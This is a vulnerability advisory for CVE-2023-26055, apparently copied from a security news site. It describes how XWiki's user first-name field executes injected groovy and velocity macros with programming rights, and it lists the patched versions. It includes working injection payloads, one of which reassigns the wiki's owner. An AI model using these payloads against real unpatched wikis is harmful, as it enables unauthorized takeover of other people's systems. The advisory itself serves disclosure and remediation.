Headline
CVE-2023-26055: Privilege escalation to programming rights via user's first name
XWiki Commons are technical libraries common to several other top level XWiki projects. Starting in version 3.1-milestone-1, any user can edit their own profile and inject code, which is going to be executed with programming right. The same vulnerability can also be exploited in all other places where short text properties are displayed, e.g., in apps created using Apps Within Minutes that use a short text field. The problem has been patched on versions 13.10.9, 14.4.4, 14.7RC1.
Steps to reproduce
- Log in as a user without script rights.
- Set your first name to
{{cache id="userProfile"}}{{groovy}}println(“Hello from groovy!”){{/groovy}}{{/cache}}
Expected result:
{{cache id="userProfile"}}{{groovy}}println(“Hello from groovy!”){{/groovy}}{{/cache}}
is displayed as first name.
Actual result:
The username in the profile is Hello from groovy!
This demonstrates a privilege escalation attack to programming rights. I don’t know yet why or how this works as this was primarily a surprise result while trying to reproduce another vulnerability.
I’ve also verified that you can actually do dangerous stuff, for example
{{async async="true" cached="false" context="doc.reference"}}{{velocity}}#set($descriptor = $services.wiki.currentWikiDescriptor)) #set($void = $descriptor.setOwnerId(“XWiki.NewOwner”)) #set($void = $services.wiki.saveDescriptor($descriptor)){{/velocity}}{{/async}}
sets the wiki’s owner to the given user id.
The affects version is only the version I reproduced the issue on, this is quite likely much older.
Related news
### Impact Any user can edit his own profile and inject code which is going to be executed with programming right. Steps to reproduce: * Set your first name to ``` {{cache id="userProfile"}}{{groovy}}println("Hello from groovy!"){{/groovy}}{{/cache}} ``` The first name appears as interpreted "`Hello from groovy`" instead of the expected fully escaped "`{{cache id="userProfile"}}{{groovy}}println("Hello from groovy!"){{/groovy}}{{/cache}}`". The same vulnerability can also be exploited in all other places where short text properties are displayed, e.g., in apps created using [Apps Within Minutes](https://extensions.xwiki.org/xwiki/bin/view/Extension/App%20Within%20Minutes%20Application) that use a short text field. ### Patches The problem has been patched on versions 13.10.9, 14.4.4, 14.7RC1. ### Workarounds There are no other workarounds than upgrading XWiki or patching the xwiki-commons-xml JAR file. ### References * https://jira.xwiki.org/browse/XWIKI-19793 * https://jira...